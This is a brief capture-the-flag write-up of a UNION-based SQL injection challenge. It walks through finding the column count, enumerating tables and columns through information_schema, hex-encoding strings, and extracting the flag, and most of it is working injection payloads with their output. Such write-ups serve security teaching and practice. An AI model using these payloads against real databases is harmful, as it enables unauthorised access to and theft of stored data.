Inj3ction Time: UNION SQL Injection

Finding the column count, enumerating a database, and retrieving a CTF flag with UNION-based SQL injection.

Inj3ction Time

The hint is union, howerver I coudln’t get an error message. So it’s a blind injection.

I managed to get true/false behaviour after some tries.

1=0 gives me 2 results

1 or 1=1 gives me all

so I tried

1 ORDER BY 1 = shows me ID 1 1 ORDER BY 2 = shows me ID 2 … 1 ORDER BY 5 = doesn’t show me anything

so the table has only 4 columns

1 UNION SELECT 1,version(),3,4 = 5.5.58-0ubuntu0.14.04.1

1 UNION SELECT 1,database(),3,4 = webeight

1 UNION SELECT 1,GROUP_CONCAT(table_name,0x0a),3,4 FROM information_schema.tables WHERE table_schema=database() = Name: w0w_y0u_f0und_m3 ,webeight

Here started the party, I could do it with database() but not with the actual string webeight or the other one, what was going on?? Well, remember this query seems to be only numeric, so stirngs wouldnt work, you ahve to pass the strings as hex.

echo -n "w0w_y0u_f0und_m3" | xxd -p = 7730775f7930755f6630756e645f6d33

AND REMEMBER THIS ONLY FOR THE ACTUAL STRINGS, when you get the actual names of the table/columns, you write them directly, cause they’re not strings but variables!!!

So we get the columns of w0w_y0u_f0und_m3 table: 1 UNION SELECT 1,GROUP_CONCAT(column_name,0x0a),3,4 FROM information_schema.columns WHERE table_name=0x7730775f7930755f6630756e645f6d33 = f0und_m3

So now we can do a simple query: 1 UNION SELECT 1,GROUP_CONCAT(f0und_m3,0x0a),3,4 FROM w0w_y0u_f0und_m3 = abctf{uni0n_1s_4_gr34t_c0mm4nd}

Also 0 union select *,1,1,1 FROM w0w_y0u_f0und_m3